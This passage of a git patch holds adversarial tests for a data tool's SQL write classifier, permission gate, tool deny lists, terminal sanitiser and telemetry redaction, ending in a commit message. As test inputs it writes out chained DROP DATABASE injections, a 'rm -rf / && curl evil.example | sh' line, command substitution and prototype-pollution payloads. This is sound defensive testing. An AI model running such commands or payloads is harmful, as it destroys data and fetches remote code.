"/*!DROP DATABASE x*/", "select 1 /*!; DROP DATABASE x */"]) { + const result = classifyAndCheck(sql, "mysql") + expect(result.blocked, sql).toBe(true) + expect(result.queryType, sql).toBe("write") + } + }) + + test("a backslash does not escape a quote in a standard-conforming string, so the chained DROP is seen", () => { + // In Postgres 'a\' is a complete literal: the DROP after it executes. + expect(classifyAndCheck("select 'a\\'; drop database x; -- '", "postgres").blocked).toBe(true) + expect(classifyAndCheck("select 'a\\'; drop database x; -- '", "mysql").blocked).toBe(true) + }) + + test("unterminated quotes or comments fail closed as writes", () => { + const quote = classifyAndCheck("select 'unterminated") + expect(quote.queryType).toBe("write") + expect(quote.parseError).toBeString() + const comment = classifyAndCheck("/* open comment drop database x") + expect(comment.queryType).toBe("write") + expect(comment.blocked).toBe(true) + }) + + test("control and line-separator characters between statements do not hide a DROP", () => { + for (const sql of ["SELECT 1;
DROP DATABASE x", "select 1;\u0000drop database x"]) { + const result = classifyAndCheck(sql) + expect(result.blocked, JSON.stringify(sql)).toBe(true) + expect(result.queryType).toBe("write") + } + }) +}) + +describe("v0.12.9 adversarial: hard-deny keywords inside literals, comments and identifiers are not refused", () => { + test.each([ + ["select 'drop database prod'", undefined], + ["select 1 -- drop database prod", undefined], + ["select 1 /* truncate t */", undefined], + ['select "drop database" from t', undefined], + ["select drop_database from t", undefined], + ["select database from drop_t", undefined], + ["select $$drop database x$$", "postgres"], + ["select $tag$ drop database x $tag$", "postgres"], + ["select $a$ x $b$; drop database x; $a$", "postgres"], + ["select E'\\'; drop database x; --'", "postgres"], + ["select trunc(1.5)", undefined], + ] as const)("%p (%p) is a read and not blocked", (sql, dialect) => { + const result = classifyAndCheck(sql, dialect) + expect(result.blocked).toBe(false) + expect(result.queryType).toBe("read") + expect(isBlockedStatement(sql, dialect)).toBe(false) + }) + + test("ordinary writes are writes but are not hard-denied", () => { + for (const sql of [ + "DROP TABLE t", + "drop table database_x", + "DELETE FROM t", + "INSERT INTO t VALUES (1)", + "CREATE TABLE t(a int)", + "ALTER DATABASE x RENAME TO y", + "SET x = 1", + ]) { + const result = classifyAndCheck(sql) + expect(result.queryType, sql).toBe("write") + expect(result.blocked, sql).toBe(false) + } + for (const sql of ["ATTACH 'x.db'", "COPY t TO 'f.csv'"]) { + expect(classifyAndCheck(sql, "duckdb")).toMatchObject({ queryType: "write", blocked: false }) + } + }) + + test("plain reads classify as reads", () => { + for (const sql of ["select * from t", "with x as (select 1) select * from x", "explain select 1", "show tables"]) + expect(classify(sql), sql).toBe("read") + }) +}) + +describe("v0.12.9 adversarial: classifier degenerate input", () => { + test("empty and whitespace-only SQL is an unblocked read (nothing executes)", () => { + for (const sql of ["", " \n\t "]) expect(classifyAndCheck(sql)).toEqual({ queryType: "read", blocked: false }) + }) + + test("non-string input does not throw and is not blocked", () => { + for (const value of [undefined, null, 42, {}, []]) { + const result = classifyAndCheck(value as unknown as string) + expect(result.blocked).toBe(false) + } + }) + + test("a lone semicolon fails closed as a write", () => { + expect(classifyAndCheck(";").queryType).toBe("write") + }) + + test("isSingleQuery accepts exactly one query", () => { + expect(isSingleQuery("select 1")).toBe(true) + expect(isSingleQuery("select 'a;b'")).toBe(true) + expect(isSingleQuery("select 1; select 2")).toBe(false) + expect(isSingleQuery("")).toBe(false) + expect(isSingleQuery("insert into t values(1)")).toBe(false) + }) + + test("isScratchSafeWrite admits local table DDL/DML only", () => { + for (const sql of ["CREATE TABLE t(a int)", "insert into t values(1)", "drop table t", "create table main.t(a int)"]) + expect(isScratchSafeWrite(sql), sql).toBe(true) + for (const sql of [ + "drop table a, b", + "attach 'x'", + "copy t to 'x'", + "select 1", + "", + "create table other.t(a int)", + "drop database x", + "update t set a=1; select 1", + ]) + expect(isScratchSafeWrite(sql), sql).toBe(false) + }) + + test("~1 MB of SQL classifies in bounded time, and a DROP after a huge comment is still found", () => { + const longList = "select " + "a, ".repeat(330_000) + "1" + const hugeComment = "select 1 /*" + "x".repeat(1_000_000) + "*/; drop database x" + const hugeLiteral = "select '" + "drop database x ".repeat(65_000) + "'" + const started = performance.now() + expect(classifyAndCheck(longList)).toMatchObject({ queryType: "read", blocked: false }) + expect(classifyAndCheck(hugeComment)).toMatchObject({ queryType: "write", blocked: true }) + expect(classifyAndCheck(hugeLiteral)).toMatchObject({ queryType: "read", blocked: false }) + expect(performance.now() - started).toBeLessThan(6_000) + }) +}) + +describe("v0.12.9 adversarial: askFor (the CLI's permission handler)", () => { + const ask = (allowWrite: boolean, input: { permission: string; patterns?: string[]; metadata?: unknown }) => + Effect.runSyncExit(askFor(allowWrite)({ always: [], ...input } as never)) + const message = (exit: Exit.Exit) => + Exit.isFailure(exit) ? String((Cause.squash(exit.cause) as Error)?.message) : "ok" + + test("writes are refused without allowWrite and pass with it", () => { + const input = { permission: "sql_execute_write", patterns: ["insert into t values(1)"], metadata: {} } + expect(message(ask(false, input))).toBe( + "Permission denied: sql_execute_write. Re-run with --allow-write to enable writes.", + ) + expect(Exit.isSuccess(ask(true, input))).toBe(true) + }) + + test.each(["DROP DATABASE prod", "DROP/**/DATABASE prod", "select 1; truncate t", "drop schema s"])( + "%p is refused even with allowWrite", + (sql) => { + const exit = ask(true, { permission: "sql_execute_write", patterns: [sql], metadata: {} }) + expect(message(exit)).toContain(HARD_DENY) + expect(message(exit)).toContain("This cannot be overridden") + }, + ) + + test("a read permission whose pattern is a hard deny is still refused", () => { + expect(message(ask(false, { permission: "sql_execute", patterns: ["drop database x"], metadata: {} }))).toContain( + HARD_DENY, + ) + }) + + test("one blocked pattern among several reads refuses the call", () => { + const exit = ask(true, { permission: "sql_execute", patterns: ["select 1", "select 2", "truncate t"], metadata: {} }) + expect(message(exit)).toContain(HARD_DENY) + }) + + test("only a literal boolean hardDenyChecked skips the pattern check", () => { + const patterns = ["drop database x"] + for (const flag of ["true", 1, {}, [true]]) { + expect(message(ask(true, { permission: "sql_execute_write", patterns, metadata: { hardDenyChecked: flag } }))).toContain( + HARD_DENY, + ) + } + }) + + test("a non-string or unknown warehouse in metadata does not lift the hard deny", () => { + for (const warehouse of [{ toString: () => "x" }, "nonexistent-warehouse", 42, ""]) { + const exit = ask(false, { permission: "sql_execute", patterns: ["drop database x"], metadata: { warehouse } }) + expect(Exit.isFailure(exit)).toBe(true) + } + }) + + test("reads pass with missing patterns or metadata", () => { + expect(Exit.isSuccess(ask(false, { permission: "sql_execute" }))).toBe(true) + expect(Exit.isSuccess(ask(false, { permission: "schema_inspect", patterns: [], metadata: undefined }))).toBe(true) + }) + + test("permission names are matched exactly: prototype keys and case variants are writes", () => { + for (const permission of ["__proto__", "constructor", "toString", "hasOwnProperty", "SQL_EXECUTE", "sql_execute "]) { + expect(message(ask(false, { permission, patterns: [], metadata: {} })), permission).toContain("Permission denied") + } + }) + + test("READ_PERMISSIONS is exactly the four read kinds", () => { + expect([...READ_PERMISSIONS].sort()).toEqual(["answer_commit", "schema_inspect", "sql_execute", "sql_execute_read"]) + expect(READ_PERMISSIONS.has("sql_execute_write")).toBe(false) + }) + + test("denied() names the permission and the retry verb", () => { + expect(denied("warehouse_remove").message).toBe( + "Permission denied: warehouse_remove. Re-run with --allow-write to enable writes.", + ) + expect(denied("x", "Call again").message).toBe("Permission denied: x. Call again with --allow-write to enable writes.") + }) +}) + +describe("v0.12.9 adversarial: tool allow-list", () => { + test("prototype keys are not exposed tools", () => { + for (const name of ["__proto__", "constructor", "toString", "hasOwnProperty", "valueOf"]) + expect(Object.hasOwn(EXPOSED, name), name).toBe(false) + }) + + test("coding, shell, memory and model-backed tools are not exposed", () => { + for (const name of [ + "bash", + "read", + "edit", + "write", + "apply_patch", + "task", + "batch", + "dbt_pr_review", + "altimate_memory_write", + "datamate_manager", + "mcp_discover", + "feedback_submit", + "sample_setup", + "tool_lookup", + ]) + expect(Object.hasOwn(EXPOSED, name), name).toBe(false) + }) + + test("every write tool is exposed, and every MCP-open write tool is a write tool", () => { + for (const name of WRITE_TOOLS) expect(Object.hasOwn(EXPOSED, name), name).toBe(true) + for (const name of MCP_OPEN_WRITE_TOOLS) expect(WRITE_TOOLS.has(name), name).toBe(true) + expect(MCP_OPEN_WRITE_TOOLS.has("warehouse_remove")).toBe(false) + expect(MCP_OPEN_WRITE_TOOLS.has("warehouse_install_driver")).toBe(false) + }) +}) + +describe("v0.12.9 adversarial: foldStdinArgs", () => { + test("folds `--args -` into `--args=-`", () => { + expect(foldStdinArgs(["tool", "run", "x", "--args", "-"])).toEqual(["tool", "run", "x", "--args=-"]) + }) + + test("a lone `-` not after --args is kept", () => { + expect(foldStdinArgs(["run", "-", "--args", "{}"])).toEqual(["run", "-", "--args", "{}"]) + expect(foldStdinArgs(["-"])).toEqual(["-"]) + }) + + test("--args at the end or followed by a value is untouched", () => { + expect(foldStdinArgs(["--args"])).toEqual(["--args"]) + expect(foldStdinArgs(["--args", "--"])).toEqual(["--args", "--"]) + expect(foldStdinArgs(["--args", '{"a":"-"}'])).toEqual(["--args", '{"a":"-"}']) + }) + + test("an empty argv stays empty and repeated folds are independent", () => { + expect(foldStdinArgs([])).toEqual([]) + expect(foldStdinArgs(["--args", "-", "--args", "-"])).toEqual(["--args=-", "--args=-"]) + }) +}) + +describe("v0.12.9 adversarial: runner argument validation and the hard deny end to end", () => { + let dir: string + let runner: Runner + let done: () => void + let booted: Promise + + beforeAll(async () => { + registerDefaultNativeHandlers() + dir = await fsp.mkdtemp(path.join(tmpRoot, "runner-")) + const finished = new Promise((resolve) => (done = resolve)) + await new Promise((resolve, reject) => { + booted = bootstrap(dir, async () => { + runner = await createRunner() + resolve() + await finished + await runner.close() + }) + booted.catch(reject) + }) + }) + + afterAll(async () => { + done() + await booted.catch(() => {}) + }) + + test.each([[null], [[]], ["select 1"], [42], [true], [undefined]])("non-object args %p are refused", async (args) => { + const result = await runner.run("sql_format", args) + expect(result.status).toBe("error") + expect(result.title).toBe("Invalid arguments") + expect(result.output).toBe("Tool arguments must be a JSON object.") + }) + + test.each(["__proto__", "constructor", "toString", "hasOwnProperty", "", "SQL_FORMAT"])( + "tool name %p is unknown", + async (name) => { + const result = await runner.run(name, {}) + expect(result.status).toBe("error") + expect(result.output).toContain(`Unknown tool: ${name}.`) + }, + ) + + test("prototype-pollution keys in args do not pollute Object.prototype", async () => { + const args = JSON.parse('{"sql":"select 1","__proto__":{"polluted":"yes"},"constructor":{"prototype":{"polluted2":1}}}') + await runner.run("sql_format", args) + expect(({} as Record).polluted).toBeUndefined() + expect(({} as Record).polluted2).toBeUndefined() + }) + + test.each(["DROP/**/DATABASE prod", "select 1; drop schema s", "select $$x$$; drop database prod"])( + "sql_execute %p stays blocked with allowWrite", + async (query) => { + const result = await runner.run("sql_execute", { query }, { allowWrite: true }) + expect(result.status).toBe("error") + expect(result.output).toContain("blocked for safety") + }, + ) + + test("a write without allowWrite is refused with the retry hint", async () => { + const result = await runner.run("sql_execute", { query: "INSERT INTO t VALUES (1)" }) + expect(result.status).toBe("error") + expect(result.output).toBe("Permission denied: sql_execute_write. Re-run with --allow-write to enable writes.") + }) + + test("a read that quotes 'drop database' is not refused by the permission gate", async () => { + const result = await runner.run("sql_execute", { query: "select 'drop database prod'" }) + expect(result.output).not.toContain("Permission denied") + expect(result.output).not.toContain("blocked for safety") + }) +}) + +// --------------------------------------------------------------------------------------------------------- +// 2. #1605 — workspace rules: classifier and terminal sanitiser +// --------------------------------------------------------------------------------------------------------- + +describe("v0.12.9 adversarial: rule classify", () => { + test("an explicit 'as a rule' wins over memory cues", () => { + expect(classifyRule("I prefer CTEs, save this as a team rule")).toEqual({ kind: "rule", cue: "asked for a rule" }) + }) + + test("an explicit memory request wins over rule cues", () => { + expect(classifyRule("always use CTEs, just for me").kind).toBe("memory") + expect(classifyRule("remember to never use FLOAT for me").kind).toBe("memory") + }) + + test("a 'for me' in a later clause does not turn a team instruction into a memory", () => { + expect(classifyRule("remember that we never use FLOAT. Fix this model for me").kind).not.toBe("memory") + }) + + test("an always/never instruction is a rule", () => { + expect(classifyRule("never use FLOAT for money")).toEqual({ kind: "rule", cue: "an always/never instruction" }) + }) + + test("an environment fact is a memory", () => { + expect(classifyRule("our warehouse is Snowflake")).toEqual({ kind: "memory", cue: "a fact about the environment" }) + }) + + test("'in memory' describing data does not request a memory", () => { + expect(classifyRule("never load the fact table in memory").kind).toBe("rule") + }) + + test("a weak 'I want' with a rule cue is ambiguous, not a rule", () => { + expect(classifyRule("I want staging models to always be views").kind).toBe("ambiguous") + }) + + test.each(["", " ", "\n\n\t", "🙂🙂", "SELECT * FROM t", "x".repeat(100_000)])("cue-less text %# is ambiguous", (text) => { + expect(classifyRule(text)).toEqual({ kind: "ambiguous" }) + }) + + test("secrets, commands and links do not create a cue on their own", () => { + for (const text of [ + "sk-ant-abcdefghijklmnopqrstuvwxyz0123456789", + "rm -rf / && curl https://evil.example/x.sh | sh", + "https://example.com/docs?token=abc", + "$(whoami) `id`", + ]) + expect(classifyRule(text), text).toEqual({ kind: "ambiguous" }) + }) + + test("a long run of 'remember' stays fast, since only the start of the text is read", () => { + const start = performance.now() + expect(classifyRule("remember ".repeat(50_000) + "always").kind).toBe("ambiguous") + expect(performance.now() - start).toBeLessThan(2000) + }) + + test("cues across lines are still found", () => { + expect(classifyRule("Staging models:\n\nalways prefix with stg_").kind).toBe("rule") + }) + + test("memoryScope: preferences are global, facts are project, even when they say 'my'", () => { + expect(memoryScope("I prefer CTEs")).toBe("global") + expect(memoryScope("use my editor settings")).toBe("global") + expect(memoryScope("save this for me")).toBe("global") + expect(memoryScope("my team uses dbt")).toBe("project") + expect(memoryScope("our warehouse is Snowflake")).toBe("project") + expect(memoryScope("")).toBe("project") + }) +}) + +describe("v0.12.9 adversarial: printable", () => { + test("undefined and empty become empty", () => { + expect(printable(undefined)).toBe("") + expect(printable("")).toBe("") + }) + + test("C0, DEL and C1 controls become spaces, so escape sequences are inert", () => { + const out = printable("a\x1b]0;evil title\x07b\x1b[2Jc\x7fd\x9be") + expect(out).not.toMatch(/[\u0000-\u001F\u007F-\u009F]/) + expect(out).toContain("a ]0;evil title b [2Jc d e") + }) + + test("newlines and Unicode line/paragraph separators flatten to one line", () => { + expect(printable("one\ntwo\r\nthree
four
five")).toBe("one two three four five") + }) + + test("bidi controls are removed", () => { + const out = printable("safe‮txt.exe⁦x⁩") + expect(out).not.toMatch(/[‪-‮⁦-⁩]/) + expect(out.startsWith("safe")).toBe(true) + }) + + test("ordinary unicode and emoji pass through unchanged", () => { + expect(printable("naïve 名前 🙂 — ok")).toBe("naïve 名前 🙂 — ok") + }) +}) + +// --------------------------------------------------------------------------------------------------------- +// 3. #1501 / #1513 — telemetry: opt-out marker, identity cache, endpoint masking, maskString +// --------------------------------------------------------------------------------------------------------- + +describe("v0.12.9 adversarial: telemetry opt-out marker and identity cache", () => { + const originalHome = process.env.OPENCODE_TEST_HOME + let home: string + + beforeEach(() => { + home = fs.mkdtempSync(path.join(tmpRoot, "home-")) + process.env.OPENCODE_TEST_HOME = home + }) + + afterEach(() => { + if (originalHome === undefined) delete process.env.OPENCODE_TEST_HOME + else process.env.OPENCODE_TEST_HOME = originalHome + }) + + test("paths resolve under the redirected home", () => { + expect(OptOutMarker.markerPath()).toBe(path.join(home, ".altimate", "telemetry-opted-out")) + expect(TelemetryIdentity.cachePath()).toBe(path.join(home, ".altimate", "telemetry-identity.json")) + }) + + test("write creates the marker once; a second write fails instead of overwriting", () => { + expect(OptOutMarker.exists()).toBe(false) + OptOutMarker.write() + expect(OptOutMarker.exists()).toBe(true) + expect(Number.isNaN(Date.parse(fs.readFileSync(OptOutMarker.markerPath(), "utf8").trim()))).toBe(false) + expect(() => OptOutMarker.write()).toThrow() + }) + + test.skipIf(process.platform === "win32")("write never follows a planted symlink", () => { + const victim = path.join(home, "victim.txt") + fs.writeFileSync(victim, "untouched") + fs.mkdirSync(path.join(home, ".altimate"), { recursive: true }) + fs.symlinkSync(victim, OptOutMarker.markerPath()) + expect(() => OptOutMarker.write()).toThrow() + expect(fs.readFileSync(victim, "utf8")).toBe("untouched") + }) + + test("claim is exclusive: a fresh claim blocks a second one until released", () => { + fs.mkdirSync(path.join(home, ".altimate"), { recursive: true }) + const token = OptOutMarker.claim() + expect(token).toBeString() + expect(OptOutMarker.holds(token!)).toBe(true) + expect(OptOutMarker.claim()).toBeUndefined() + OptOutMarker.release(token!) + expect(OptOutMarker.holds(token!)).toBe(false) + const next = OptOutMarker.claim() + expect(next).toBeString() + expect(next).not.toBe(token) + }) + + test("a stale claim is taken over", () => { + fs.mkdirSync(path.join(home, ".altimate"), { recursive: true }) + const old = OptOutMarker.claim()! + const claimFile = path.join(home, ".altimate", "telemetry-opted-out.sending") + const past = new Date(Date.now() - 60_000) + fs.utimesSync(claimFile, past, past) + const fresh = OptOutMarker.claim() + expect(fresh).toBeString() + expect(OptOutMarker.holds(old)).toBe(false) + expect(OptOutMarker.holds(fresh!)).toBe(true) + }) + + test("claim without the .altimate directory returns undefined instead of throwing", () => { + expect(OptOutMarker.claim()).toBeUndefined() + }) + + test("holds and release reject foreign, empty and prefix tokens", () => { + fs.mkdirSync(path.join(home, ".altimate"), { recursive: true }) + const token = OptOutMarker.claim()! + for (const other of ["", " ", token.slice(0, -1), `${token}x`, "__proto__"]) { + expect(OptOutMarker.holds(other), other).toBe(false) + OptOutMarker.release(other) + expect(OptOutMarker.holds(token)).toBe(true) + } + }) + + test("holds does not trim the caller's token", () => { + fs.mkdirSync(path.join(home, ".altimate"), { recursive: true }) + const token = OptOutMarker.claim()! + expect(OptOutMarker.holds(` ${token}`)).toBe(false) + }) + + test("clear removes the marker and an in-flight claim, and is a no-op when both are absent", () => { + expect(() => OptOutMarker.clear()).not.toThrow() + OptOutMarker.write() + const token = OptOutMarker.claim()! + OptOutMarker.clear() + expect(OptOutMarker.exists()).toBe(false) + expect(OptOutMarker.holds(token)).toBe(false) + }) + + test("readMachineId ignores a non-UUID or oversized file", () => { + fs.mkdirSync(path.join(home, ".altimate"), { recursive: true }) + const idFile = path.join(home, ".altimate", "machine-id") + expect(OptOutMarker.readMachineId()).toBeUndefined() + fs.writeFileSync(idFile, "not-a-uuid") + expect(OptOutMarker.readMachineId()).toBeUndefined() + fs.writeFileSync(idFile, "a".repeat(10_000)) + expect(OptOutMarker.readMachineId()).toBeUndefined() + const uuid = "123e4567-e89b-42d3-a456-426614174000" + fs.writeFileSync(idFile, `${uuid}\n`) + expect(OptOutMarker.readMachineId()).toBe(uuid) + }) + + test("identity clear is a no-op when the cache is absent and removes it when present", async () => { + await expect(TelemetryIdentity.clear()).resolves.toBeUndefined() + fs.mkdirSync(path.dirname(TelemetryIdentity.cachePath()), { recursive: true }) + fs.writeFileSync(TelemetryIdentity.cachePath(), "{}") + await TelemetryIdentity.clear() + expect(fs.existsSync(TelemetryIdentity.cachePath())).toBe(false) + }) +}) + +describe("v0.12.9 adversarial: endpointOf masks identifiers from workspace_api_error", () => { + test("listed routes keep their label and drop the identifier", () => { + expect(endpointOf("GET", "/datamates/memory", "/42")).toBe("GET /datamates/memory/:id") + expect(endpointOf("POST", "/datamate-project-bindings", "/bind")).toBe("POST /datamate-project-bindings/bind") + }) + + test("an identifier spelled like a route word is still masked", () => { + expect(endpointOf("GET", "/datamates/memory", "/list?x=1")).toBe("GET /datamates/memory/list") + expect(endpointOf("GET", "/datamate-project-bindings", "/bind/extra")).toBe( + "GET /datamate-project-bindings/:id/:id", + ) + }) + + test("query strings never reach the label", () => { + const out = endpointOf("GET", "/datamate-project-bindings", "/by-remote?remote=git@github.com:acme/secret.git") + expect(out).toBe("GET /datamate-project-bindings/by-remote") + }) + + test("an unlisted router has every segment masked, including emails and paths", () => { + const out = endpointOf("DELETE", "/secret-router/alice@example.com", "/Users/alice/x.sql") + expect(out).toBe("DELETE /:id/:id/:id/:id/:id") + expect(out).not.toContain("alice") + }) + + test("a slash-prefixed prototype key as a base path is treated as unlisted", () => { + expect(endpointOf("GET", "/__proto__", "/x")).toBe("GET /:id/:id") + expect(endpointOf("GET", "/constructor", "/toString")).toBe("GET /:id/:id") + }) + + test("empty inputs produce a well-formed label", () => { + expect(endpointOf("GET", "", "")).toBe("GET ") + expect(endpointOf("GET", "/datamates", "")).toBe("GET /datamates/") + }) +}) + +describe("v0.12.9 adversarial: Telemetry.maskString", () => { + test("home paths and emails are masked", () => { + const out = Telemetry.maskString("user bob@example.com failed to open /Users/alice/project/model.sql") + expect(out).not.toContain("alice") + expect(out).not.toContain("bob@example.com") + expect(out).toContain("") + expect(out).toContain("") + // A path consumes trailing words rather than leak them: an email after it goes with it. + expect(Telemetry.maskString("open /Users/alice/x for bob@example.com")).not.toContain("bob") + }) + + test("SQL string literals collapse, so values in them do not leak", () => { + const out = Telemetry.maskString("select * from users where email = 'carol@example.com' and ssn = '123-45-6789'") + expect(out).not.toContain("carol") + expect(out).not.toContain("123-45-6789") + }) + + test("API keys and bearer tokens are redacted", () => { + const out = Telemetry.maskString("key sk-ant-abcdefghijklmnopqrstuvwxyz012345 Bearer abcdefghijklmnopqrstuvwxyz0123") + expect(out).toContain("sk-***") + expect(out).toContain("Bearer ***") + expect(out).not.toContain("abcdefghijklmnopqrstuvwxyz") + }) + + test("internal hosts with basic-auth userinfo are masked whole", () => { + const out = Telemetry.maskString("connect https://admin:hunter2@10.0.0.5:8443/x failed") + expect(out).not.toContain("hunter2") + expect(out).toContain("") + }) + + test("ANSI sequences do not split a secret past the redaction", () => { + expect(Telemetry.maskString("\x1b[31msk-abcdefghijklmnopqrstuvwxyz\x1b[0m")).toBe("sk-***") + }) + + test("a ~1 MB input is masked in bounded time and output", () => { + const big = ("/Users/dave/" + "a".repeat(200) + " ").repeat(5_000) + const started = performance.now() + const out = Telemetry.maskString(big) + expect(performance.now() - started).toBeLessThan(2_000) + expect(out.length).toBeLessThan(10_000) + expect(out).not.toContain("dave") + }) + + test("empty and whitespace input masks to empty", () => { + expect(Telemetry.maskString("")).toBe("") + expect(Telemetry.maskString(" \n\t ")).toBe("") + }) +}) + +// --------------------------------------------------------------------------------------------------------- +// 4. #1606 + this release — sign-out forgets the cached telemetry identity +// --------------------------------------------------------------------------------------------------------- + +describe("v0.12.9 adversarial: AltimateApi.signOut removes the telemetry identity cache", () => { + const originalHome = process.env.OPENCODE_TEST_HOME + let root: string + let home: string + let repo: string + + const writeJson = async (file: string, value: unknown) => { + await fsp.mkdir(path.dirname(file), { recursive: true }) + await fsp.writeFile(file, JSON.stringify(value)) + } + const plantIdentity = () => + writeJson(TelemetryIdentity.cachePath(), { + user_id: "123e4567-e89b-42d3-a456-426614174000", + tenant: "tenant", + fingerprint: "f", + }) + + beforeEach(async () => { + root = await fsp.mkdtemp(path.join(tmpRoot, "signout-")) + home = path.join(root, "home") + repo = path.join(root, "repo") + process.env.OPENCODE_TEST_HOME = home + await fsp.mkdir(path.join(repo, ".git"), { recursive: true }) + }) + + afterEach(async () => { + if (originalHome === undefined) delete process.env.OPENCODE_TEST_HOME + else process.env.OPENCODE_TEST_HOME = originalHome + await fsp.rm(root, { recursive: true, force: true }) + }) + + test("configured: removes the credential file and the identity cache", async () => { + await writeJson(AltimateApi.credentialsPath(), { + altimateUrl: "https://api.test", + altimateInstanceName: "tenant", + altimateApiKey: "gateway-test-key", + }) + await plantIdentity() + + await AltimateApi.signOut(repo) + + expect(await AltimateApi.isConfigured()).toBe(false) + expect(fs.existsSync(TelemetryIdentity.cachePath())).toBe(false) + }) + + test("not configured: still removes a leftover identity cache", async () => { + await plantIdentity() + + expect(await AltimateApi.signOut(repo)).toEqual([]) + expect(fs.existsSync(TelemetryIdentity.cachePath())).toBe(false) + }) + + test("not configured and no cache: resolves to [] without creating anything", async () => { + expect(await AltimateApi.signOut(repo)).toEqual([]) + expect(fs.existsSync(TelemetryIdentity.cachePath())).toBe(false) + }) + + test("an unreadable key fails the sign-out and keeps the identity cache", async () => { + delete process.env.RELEASE_V0129_MISSING_KEY + await writeJson(AltimateApi.credentialsPath(), { + altimateUrl: "https://api.test", + altimateInstanceName: "tenant", + altimateApiKey: "${env:RELEASE_V0129_MISSING_KEY}", + }) + await plantIdentity() + + await expect(AltimateApi.signOut(repo)).rejects.toThrow("could not read the saved key") + expect(fs.existsSync(TelemetryIdentity.cachePath())).toBe(true) + }) + + test("only the identity file is removed, not its neighbours", async () => { + await plantIdentity() + const machineId = path.join(home, ".altimate", "machine-id") + await fsp.writeFile(machineId, "123e4567-e89b-42d3-a456-426614174000") + + await AltimateApi.signOut(repo) + + expect(fs.existsSync(machineId)).toBe(true) + }) +}) + +// --------------------------------------------------------------------------------------------------------- +// 5. #1597 — analyst re-denies write tools after a wildcard grant; Filesystem.realLocation +// --------------------------------------------------------------------------------------------------------- + +const it = testEffect(Agent.defaultLayer) +const action = (agent: Agent.Info, permission: string, pattern = "*") => + Permission.evaluate(permission, pattern, agent.permission).action +const ANALYST_REDENIED = [ + "bash", + "sql_execute_write", + "edit", + "write", + "apply_patch", + "altimate_memory_write", + "altimate_memory_delete", + "training_import", + "warehouse_add", + "warehouse_remove", + "warehouse_install_driver", + "mcp_discover", + "datamate_manager", + "sample_setup", + "feedback_submit", + "data_diff", + "batch", +] + +for (const scope of ["global", "agent"] as const) { + it.instance( + `v0.12.9 adversarial: analyst keeps write tools denied under a ${scope} "*": "allow"`, + () => + Effect.gen(function* () { + const analyst = (yield* Agent.use.get("analyst"))! + for (const tool of ANALYST_REDENIED) expect(action(analyst, tool), tool).toBe("deny") + expect(action(analyst, "bash", "ls")).toBe("deny") + expect(action(analyst, "edit", "models/a.sql")).toBe("deny") + expect(action(analyst, "task", "general")).toBe("deny") + expect(action(analyst, "task", "data-explorer")).toBe("allow") + expect(action(analyst, "sql_execute")).toBe("allow") + }), + { + config: + scope === "global" + ? { permission: { "*": "allow", bash: "allow", edit: "allow", task: "allow" } } + : { agent: { analyst: { permission: { "*": "allow", bash: "allow", edit: "allow", task: "allow" } } } }, + }, + ) +} + +describe.skipIf(process.platform === "win32")("v0.12.9 adversarial: Filesystem.realLocation", () => { + let root: string + + beforeEach(() => { + root = fs.realpathSync(fs.mkdtempSync(path.join(tmpRoot, "real-"))) + fs.mkdirSync(path.join(root, "a", "b"), { recursive: true }) + }) + + afterEach(() => fs.rmSync(root, { recursive: true, force: true })) + + test("relative and empty paths are undefined", () => { + expect(Filesystem.realLocation("a/b")).toBeUndefined() + expect(Filesystem.realLocation("")).toBeUndefined() + expect(Filesystem.realLocation("../x")).toBeUndefined() + }) + + test("`link/..` steps out of where the link points, not lexically", () => { + fs.symlinkSync(path.join(root, "a", "b"), path.join(root, "link")) + expect(Filesystem.realLocation(`${root}/link/../x.txt`)).toBe(path.join(root, "a", "x.txt")) + expect(Filesystem.realLocation(`${root}/link/../../y`)).toBe(path.join(root, "y")) + }) + + test("a dangling link resolves to where a write through it would land", () => { + fs.symlinkSync(path.join(root, "a", "later.txt"), path.join(root, "dangling")) + expect(Filesystem.realLocation(path.join(root, "dangling"))).toBe(path.join(root, "a", "later.txt")) + }) + + test("a relative dangling link containing `..` is followed from the link's directory", () => { + fs.symlinkSync("../escape/target", path.join(root, "a", "rel")) + expect(Filesystem.realLocation(path.join(root, "a", "rel"))).toBe(path.join(root, "escape", "target")) + }) + + test("a path whose parent does not exist keeps the missing segments as written", () => { + expect(Filesystem.realLocation(path.join(root, "missing", "deeper", "f.sql"))).toBe( + path.join(root, "missing", "deeper", "f.sql"), + ) + }) + + test("a link loop throws ELOOP", () => { + fs.symlinkSync(path.join(root, "loop2"), path.join(root, "loop1")) + fs.symlinkSync(path.join(root, "loop1"), path.join(root, "loop2")) + let error: unknown + try { + Filesystem.realLocation(path.join(root, "loop1", "x")) + } catch (e) { + error = e + } + expect((error as NodeJS.ErrnoException)?.code).toBe("ELOOP") + }) + + test("a self-referencing link throws ELOOP rather than hanging", () => { + fs.symlinkSync(path.join(root, "self"), path.join(root, "self")) + expect(() => Filesystem.realLocation(path.join(root, "self"))).toThrow(/Too many symbolic links/) + }) + + test("repeated slashes and `.` segments are ignored", () => { + expect(Filesystem.realLocation(`${root}//a/./b//`)).toBe(path.join(root, "a", "b")) + }) + + test("`..` above the root stays at the root", () => { + expect(Filesystem.realLocation("/../../..")).toBe("/") + }) +}) From dce94089a8ea63e73819fce31783ce13632a813f Mon Sep 17 00:00:00 2001 From: Haider Date: Wed, 4 Nov 2026 02:25:55 +0530 Subject: [PATCH 4/7] fix: release PR review follow-ups - the rule classifier leaves a text past 2,000 characters ambiguous instead of reading only its start, so a late "as a team rule" is never misread - `tool run` adds the `tool schema` hint only for the messages an argument problem produces, including a workspace tool schema mismatch - CHANGELOG: `warehouse_add` over MCP in the overview, `tool run` (not every `tool` command) starts the background process, and the analyst lockdown covers built-in tools - MCP workspaces note says which checks are not covered by tests yet - adversarial timing bounds raised to 15 s for loaded CI runners Co-Authored-By: Claude Opus 5.5 Claude-Session: https://claude.ai/code/session_01XM3J9mB75wZRnzTSGcW2kc --- CHANGELOG.md | 6 +++--- docs/mcp-workspaces.md | 2 +- packages/opencode/src/altimate/rules/classify.ts | 6 +++--- packages/opencode/src/cli/cmd/tool.ts | 5 ++++- .../test/skill/release-v0.12.9-adversarial.test.ts | 9 +++++---- 5 files changed, 16 insertions(+), 12 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 589d94a054..3efc6e3502 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -7,18 +7,18 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ## [0.12.9] - 2026-11-04 -**Claude Code and other coding agents can call altimate-code's data tools directly.** `altimate-code mcp serve` and the new model-free `altimate-code tool` CLI run the same tools without a second model: reads by default, writes only with `--allow-write`. In projects linked to a workspace, 